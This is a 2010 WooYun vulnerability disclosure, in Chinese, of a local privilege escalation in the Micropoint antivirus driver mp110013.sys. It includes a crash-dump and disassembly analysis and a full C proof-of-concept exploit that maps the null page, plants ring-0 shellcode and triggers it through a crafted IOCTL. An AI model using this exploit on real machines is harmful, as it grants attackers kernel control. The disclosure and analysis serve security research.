东方微点主动防御 <= 1.2.10581.0278 Mp110013.sys 本地特权提升漏洞

漏洞概要

缺陷编号:WooYun-2010-045

漏洞标题:东方微点主动防御 <= 1.2.10581.0278 Mp110013.sys 本地特权提升漏洞

相关厂商:东方微点

漏洞作者:shineast

提交时间:2010-07-19 15:05

公开时间:2010-07-19 15:05

漏洞类型:权限提升

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

Tags标签:

漏洞详情

披露状态:

2010-07-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2010-07-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

该漏洞是我2010年4月7日晚上,通过自己的IoControl Fuzz工具挖掘的。漏洞存在于东方微点mp110013.sys这个驱动中,影响东方微点主动防御软件1.2.10581.0278和以前的版本。利用该漏洞能够实现本地特权提升,进Ring0。

详细说明:

UNEXPECTED_KERNEL_MODE_TRAP (7f)This means a trap occurred in kernel mode, and it's a trap of a kindthat the kernel isn't allowed to have/catch (bound trap) or thatis always instant death (double fault). The first number in thebugcheck params is the number of the trap (8 = double fault, etc)Consult an Intel x86 family manual to learn more about what thesetraps are. Here is a *portion* of those codes:If kv shows a taskGateuse .tss on the part before the colon, then kv.Else if kv shows a trapframeuse .trap on that valueElse.trap on the appropriate frame will show where the trap was taken(on x86, this will be the ebp that goes with the procedure KiTrap)Endifkb will then show the corrected stack.Arguments:Arg1: 00000008, EXCEPTION_DOUBLE_FAULTArg2: 80042000Arg3: 00000000Arg4: 00000000Debugging Details:------------------BUGCHECK_STR: 0x7f_8TSS: 00000028 -- (.tss 0x28)eax=81123880 ebx=81120f80 ecx=2c23f92a edx=8000012c esi=00000000 edi=8113f388eip=f96a37c0 esp=f7b25000 ebp=f7b278f8 iopl=0 nv up ei ng nz ac po nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292mp110013+0x7c0:f96a37c0 ff30 push dword ptr [eax] ds:0023:81123880=00000937Resetting default scopeDEFAULT_BUCKET_ID: CODE_CORRUPTIONPROCESS_NAME: MPSVC2.exeLAST_CONTROL_TRANSFER: from f96a8c06 to f96a37c0STACK_TEXT:WARNING: Stack unwind information not available. Following frames may be wrong.f7b278f8 f96a8c06 81120f80 80e5ea38 817cf210 mp110013+0x7c0f7b27ac8 804ef003 81728030 8113f388 806d12d0 mp110013+0x5c06f7b27ad8 80574e4e 8113f3f8 811ec470 8113f388 nt!IopfCallDriver+0x31f7b27aec 80575cdd 81728030 8113f388 811ec470 nt!IopSynchronousServiceTail+0x60f7b27b94 8056e63a 00000508 00000000 00000000 nt!IopXxxControlFile+0x5e7f7b27bc8 f7363b12 00000508 00000000 00000000 nt!NtDeviceIoControlFile+0x2af7b27c44 f99b081f 00000508 00000000 00000000 BehaviorMon!HookNtDeviceIoControlFile+0x892f7b27d34 8053da48 00000508 00000000 00000000 Hookport+0x481ff7b27d34 7c92eb94 00000508 00000000 00000000 nt!KiFastCallEntry+0xf80358f70c 7c92d8ef 7c801671 00000508 00000000 ntdll!KiFastSystemCallRet0358f710 7c801671 00000508 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc0358f770 006281bd 00000508 8000012c 0358f7c4 kernel32!DeviceIoControl+0xdd0358fed8 003c7b9d 0000022c 0358fefc 0358ff04 mp110034+0x81bd00000000 00000000 00000000 00000000 00000000 mp110036+0x7b9d从过分析中的栈回溯,可以看到最终出问题的代码落在mp110013+0x5c06和mp110013+0x7c0所处的函数中。导致崩溃的指令如下:f96a37c0 ff30 push dword ptr [eax] ds:0023:81123880=00000937这条指令的寻址都是正常的,eax指向的DWORD是存在,那为什么无法push呢?!除非此时发生了“栈上溢”。这时我们来看看发生崩溃时的esp值,从上面的分析可以看到当时esp值为f7b25000,我们再查这个地址的属性。kd> !address f7b25000f7b24000 - 00004000Usage KernelSpaceUsageKernelStackKernelStack 80e5e828 : 3d4.82c可以看出,该地址处于内核栈的顶部,由于系统在栈顶预留了0x1000的空间,因此已经无法再push了。kd> dd f7b25000-4f7b24ffc ???????? 00000000 00000000 8113bf1cf7b2500c 81123ab0 43504354 020a0027 00000000f7b2501c 00000000 00000000 00000000 00000000看到了内核崩溃的直接原因后,下面我们需要找到其根本原因。首先我们定位到mp110013+0x5c06所在的函数,如下所示:.text:00015BE4 loc_15BE4: ; CODE XREF: .text:00015BD7j.text:00015BE4 push dword ptr [ebp-74h].text:00015BE7 push dword ptr [ebp-98h].text:00015BED lea eax, [ebp-0E8h].text:00015BF3 push eax.text:00015BF4 push ebx.text:00015BF5 call sub_1090E.text:00015BFA mov [ebp-94h], eax.text:00015C00 push ebx // 输入缓冲区指针.text:00015C01 call sub_107B0 // 函数调用.text:00015C06 mov [edi+1Ch], eax.text:00015C09 cmp [ebp-94h], esi.text:00015C0F jz short loc_15C1E.text:00015C11 lea eax, [ebp-0E8h].text:00015C17 push eax.text:00015C18 push ebx.text:00015C19 call sub_107FE可以看到,该函数会调用到sub_107B0函数,那么我们再来看看sub_107B0函数的逻辑:.text:000107B0 sub_107B0 proc near ; CODE XREF: .text:00015C01p.text:000107B0.text:000107B0 arg_0 = dword ptr 8 // 输入缓冲区指针.text:000107B0.text:000107B0 mov edi, edi.text:000107B2 push ebp.text:000107B3 mov ebp, esp.text:000107B5 mov eax, [ebp+arg_0].text:000107B8 add eax, 4.text:000107BB mov ecx, [eax] // 循环次数 可控// 是输入缓冲区第二个DWORD.text:000107BD add eax, 4.text:000107C0 loc_107C0: ; CODE XREF: sub_107B0+15j.text:000107C0 push dword ptr [eax] // 栈上溢.text:000107C2 add eax, 4.text:000107C5 loop loc_107C0.text:000107C7 mov eax, [ebp+arg_0].text:000107CA call dword ptr [eax] // 调用输入缓冲区// 第一个DWORD指向的函数.text:000107CC pop ebp.text:000107CD retn 4从上面的代码可以看出,sub_107B0函数整个逻辑都是可以控制的,首先该函数中从输入缓冲区的第二个DWORD中取出要循环的次数,然后做了一个循环,最终调用了输入缓冲区的第一个DWORD所指向的函数。如果循环的次数太多,会导致栈上溢,但是这个次数我们可以通过输入缓冲区的第二个DWORD来控制,因此我们可以避免栈上溢。我们最为感兴趣的应该是循环后面的一个call指令,调用的是输入缓冲区的第一个DWORD所指向的函数。通过几次调试可以发现,只要往输入缓冲区的第一个DWORD处放一个错误的值,在派遣例程中会把他修改成0,这样一来,最终调用的就是0这个地址。这是相当危险的,我们只要在0地址处申请内存,并存放Ring0 Shellcode就可以完美的利用这个漏洞。这一点我们可以通过栈回溯来证明,先看看调用sub_107B0函数的参数:f7b278f8 f96a8c06 81120f80 80e5ea38 817cf210 mp110013+0x7c0参数是81120f80,我们再来看看这个地址指向的数据,是不是我们输入缓冲区的数据:kd> dd 81120f8081120f80 00000000 2c240368 5e9e3918 8e3b184c81120f90 22d5df8e 961331c8 d5a92216 0aa0f10a81120fa0 b7e0c5f7 e75bcb05 97beb301 6c48e20581120fb0 43c9daa0 08b79115 6cead1f5 3fe586fd81120fc0 00000000 00000000 00000000 0000000081120fd0 00000000 00000000 00000000 0000000081120fe0 00000000 00000000 00000000 0000000081120ff0 00000000 00000000 00000000 00000000仔细一看,确实和我们之前篡改的输入数据基本一致,不过第一个DWORD被微点的派遣例程修改成了0。这正好如我们所愿,真是太爽了!如果不改成0,也许我们很难利用,而改成0,那就好用多了。总的来说,这是一个本地权限提升内核漏洞。

漏洞证明:

#include "poc.h"#include "InvbShellCode.h"#define BUFFER_LENGTH 128#define IOCTL_MICROPOINT 0x8000012Cvoid InbvShellCode(){__asm{nopnopnopnopnopnopnopnopclimov eax, cr0//mov g_uCr0,eaxand eax,0xFFFEFFFFmov cr0, eax_emit 0x5d //pop ebpretn 0x2800 //esp = esp + 0xA00 * 4}}PVOID RtlAllocateMemory(IN ULONG Length){NTSTATUS NtStatus;PVOID BaseAddress = NULL;NtStatus = NtAllocateVirtualMemory(NtCurrentProcess(),&BaseAddress,0,&Length,MEM_RESERVE |MEM_COMMIT,PAGE_READWRITE);if(NtStatus == STATUS_SUCCESS){RtlZeroMemory(BaseAddress, Length);return BaseAddress;}return NULL;}VOID RtlFreeMemory(IN PVOID BaseAddress){NTSTATUS NtStatus;ULONG FreeSize = 0;NtStatus = NtFreeVirtualMemory(NtCurrentProcess(),&BaseAddress,&FreeSize,MEM_RELEASE);}int __cdecl main(int argc, char **argv){NTSTATUS NtStatus;ULONG i;HANDLE DeviceHandle;ULONG ReturnLength = 0;ULONG ImageBase;PVOID MappedBase;UCHAR ImageName[KERNEL_NAME_LENGTH];ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;PVOID HalDispatchTable;PVOID xHalQuerySystemInformation;PVOID MmUserProbeAddress;ULONG ShellCodeSize = PAGE_SIZE;PVOID ShellCodeAddress;PVOID BaseAddress = NULL;UNICODE_STRING DeviceName;UNICODE_STRING DllName;ANSI_STRING ProcedureName;OBJECT_ATTRIBUTES ObjectAttributes;IO_STATUS_BLOCK IoStatusBlock;SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;LARGE_INTEGER Interval;char buffer1[1024]={0};char buffer2[1024]={0};ULONG InternalBuffer = 0;char SystemBuffer[BUFFER_LENGTH]=/*77 00 04 00 03 00 00 00 20 C5 88 03 3F 00 0F 00C8 FA 88 03 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00*/{// A460x7B,0x67,0xB4,0x33, 0x00,0x0A,0x00,0x00, 0x8B,0x68,0xDD,0x6F,0x01,0x52,0x5A,0xB5,0x28,0x14,0x44,0x89,0x78,0x32,0xEA,0x5F,0x8E,0x75,0x6B,0x22,0x38,0xB1,0xFD,0x46,0x23,0xDB,0xAC,0xFB,0x1D,0x45,0x8F,0x04,0x73,0xD9,0x24,0x1F,0x8A,0x70,0xA6,0xD7,0x62,0x7B,0xC2,0x36,0xE7,0xBB,0x3A,0x9D,0x11,0xA8,0xF5,0x84,0x8C,0xCA,0xE3,0xFE,0x49,0x79,0x26,0x0D,0x61,0x9A,0x8D,0x17,0xBE,0x6E,0x61,0x57,0x78,0x9C,0xA4,0xC2,0x36,0x22,0x8C,0x56,0x39,0xB8,0x26,0x54,0xF1,0xA0,0x1E,0x78,0x5F,0xD3,0xDF,0x98,0x35,0x66,0x83,0x55,0xDE,0x14,0x59,0xE2,0x94,0xC4,0xDE,0x31,0xFC,0xF8,0x2F,0x2C,0x12,0x04,0xD4,0x0A,0xEE,0x0F,0x95,0xE2,0xDC,0xA1,0x3F,0xB8,0x13,0x55,0x83,0xD3};//正常输入// {// 0x77, 0x00 , 0x04 , 0x00 , 0x03 , 0x00 , 0x00 , 0x00 , 0x20 , 0xC5 , 0x88 , 0x03 , 0x3F , 0x00 , 0x0F , 0x00,// 0xC8, 0xFA , 0x88 , 0x03// };//*(ULONG *)((ULONG)SystemBuffer+8)=(ULONG)buffer1;//*(ULONG *)((ULONG)SystemBuffer+16)=(ULONG)buffer2;///////////////////////////////////////////////////////////////////////////////////////////////system("cls");NtStatus = NtQuerySystemInformation(SystemModuleInformation,ModuleInformation,ReturnLength,&ReturnLength);if(NtStatus == STATUS_INFO_LENGTH_MISMATCH){ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);ModuleInformation = RtlAllocateMemory(ReturnLength);if(ModuleInformation){NtStatus = NtQuerySystemInformation(SystemModuleInformation,ModuleInformation,ReturnLength,NULL);if(NtStatus == STATUS_SUCCESS){ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);RtlMoveMemory(ImageName,(PVOID)(ModuleInformation->Modules[0].ImageName +ModuleInformation->Modules[0].ModuleNameOffset),KERNEL_NAME_LENGTH);printf(" +----------------------------------------------------------------------------+\n"" ImageBase - 0x%.8X |\n"" | ImageName - %s |\n",ImageBase,ImageName);RtlFreeMemory(ModuleInformation);RtlCreateUnicodeStringFromAsciiz(&DllName,PUCHAR)ImageName);NtStatus = LdrLoadDll(NULL, // DllPath&DllCharacteristics, // DllCharacteristics&DllName, // DllName&MappedBase); // DllHandleif(NtStatus){printf(" [*] NtStatus of LdrLoadDll - %.8X\n", NtStatus);return NtStatus;}RtlInitAnsiString(&ProcedureName, "HalDispatchTable");NtStatus = LdrGetProcedureAddress((PVOID)MappedBase, // DllHandle&ProcedureName, // ProcedureName0, // ProcedureNumber OPTIONAL(PVOID*)&HalDispatchTable); // ProcedureAddressif(NtStatus){printf(" [*] NtStatus of LdrGetProcedureAddress - %.8X\n", NtStatus);return NtStatus;}(ULONG)HalDispatchTable -= (ULONG)MappedBase;(ULONG)HalDispatchTable += ImageBase;(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);printf(" |\n"" | HalDispatchTable - 0x%.8X |\n"" | xHalQuerySystemInformation - 0x%.8X |\n"" +----------------------------------------------------------------------------+\n",HalDispatchTable,xHalQuerySystemInformation);NtStatus = XxInitInbv(ImageBase,ULONG)MappedBase);if(NtStatus){printf(" [*] NtStatus of XxInitInbv - %.8X\n", NtStatus);return NtStatus;}LdrUnloadDll((PVOID)MappedBase);RtlInitUnicodeString(&DeviceName, L"\\Device\\mp110013");ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);ObjectAttributes.RootDirectory = 0;ObjectAttributes.ObjectName = &DeviceName;ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;ObjectAttributes.SecurityDescriptor = NULL;ObjectAttributes.SecurityQualityOfService = NULL;NtStatus = NtCreateFile(&DeviceHandle, // FileHandleFILE_READ_DATA |FILE_WRITE_DATA, // DesiredAccess&ObjectAttributes, // ObjectAttributes&IoStatusBlock, // IoStatusBlockNULL, // AllocationSize OPTIONAL0, // FileAttributesFILE_SHARE_READ |FILE_SHARE_WRITE, // ShareAccessFILE_OPEN_IF, // CreateDisposition0, // CreateOptionsNULL, // EaBuffer OPTIONAL0); // EaLengthif(NtStatus){printf(" [*] NtStatus of NtCreateFile - %.8X\n", NtStatus);return NtStatus;}printf(" [*] NtCreateFile - DeviceHandle = %.8X\n", DeviceHandle);//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ShellCodeAddress = (PVOID)sizeof(ULONG);NtStatus = NtAllocateVirtualMemory(NtCurrentProcess(), // ProcessHandle&ShellCodeAddress, // BaseAddress0, // ZeroBits&ShellCodeSize, // AllocationSizeMEM_RESERVE |MEM_COMMIT |MEM_TOP_DOWN, // AllocationTypePAGE_EXECUTE_READWRITE); // Protectif(NtStatus){printf(" [*] NtStatus of NtAllocateVirtualMemory - %.8X\n", NtStatus);return NtStatus;}printf("NtAllocateVirtualMemory ShellCodeAddress = %08X ShellCodeSize=%08X\n", ShellCodeAddress,ShellCodeSize);RtlMoveMemory(ShellCodeAddress,(PVOID)InbvShellCode,ShellCodeSize);///////////////////////////////////////////////////////////////////////////////////////////////NtStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&IoStatusBlock,IOCTL_MICROPOINT,SystemBuffer,BUFFER_LENGTH,NULL,0);if(NtStatus){printf(" [*] NtStatus of NtDeviceIoControlFile [3] - 0x%.8X\n", NtStatus);return NtStatus;}Interval.LowPart = 0xFF676980;Interval.HighPart = 0xFFFFFFFF;printf("\n 3");NtDelayExecution(FALSE, &Interval);printf(" 2");NtDelayExecution(FALSE, &Interval);printf(" 1");NtDelayExecution(FALSE, &Interval);printf(" Hoop\n\n");NtDelayExecution(FALSE, &Interval);NtStatus = NtQueryIntervalProfile(ProfileTotalIssues, // SourceNULL); // Intervalif(NtStatus){printf(" [*] NtStatus of NtQueryIntervalProfile - %.8X\n", NtStatus);return NtStatus;}printf("NtQueryIntervalProfile ok!\n");NtStatus = NtClose(DeviceHandle);if(NtStatus){printf(" [*] NtStatus of NtClose - %.8X\n", NtStatus);return NtStatus;}printf("NtClose ok!\n");}}}return FALSE;}

修复方案:

该漏洞微点已经告知我修复完毕!

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:9 (WooYun评价)

评价

  1. 2010-01-01 00:00 CplusHua 白帽子 | Rank:83 漏洞数:11)

    强悍!

  2. 2010-01-01 00:00 天一生水 白帽子 | Rank:0 漏洞数:2)

    微点.....

  3. 2010-01-01 00:00 zidane 白帽子 | Rank:13 漏洞数:2)

    家里3个电脑都是微点,哎

  4. 2010-01-01 00:00 M.Chen! 白帽子 | Rank:1 漏洞数:1)

    前一阵子卸了微点换的ESS,微点CPU占用有点儿高,不适合我这机器

  5. 2010-01-01 00:00 Sunny 白帽子 | Rank:0 漏洞数:1)

    真是NB啊,挖的这么深

  6. 2010-01-01 00:00 stevenliu 白帽子 | Rank:9 漏洞数:1)

    NB 这算0day嘛!!

  7. 2010-01-01 00:00 小震 白帽子 | Rank:4 漏洞数:1)

    微点是我用过最好的杀软。尤其是主动防御。。很是牛X..

  8. 2010-01-01 00:00 Forever80s 白帽子 | Rank:906 漏洞数:85)

    这才是传说中的hacker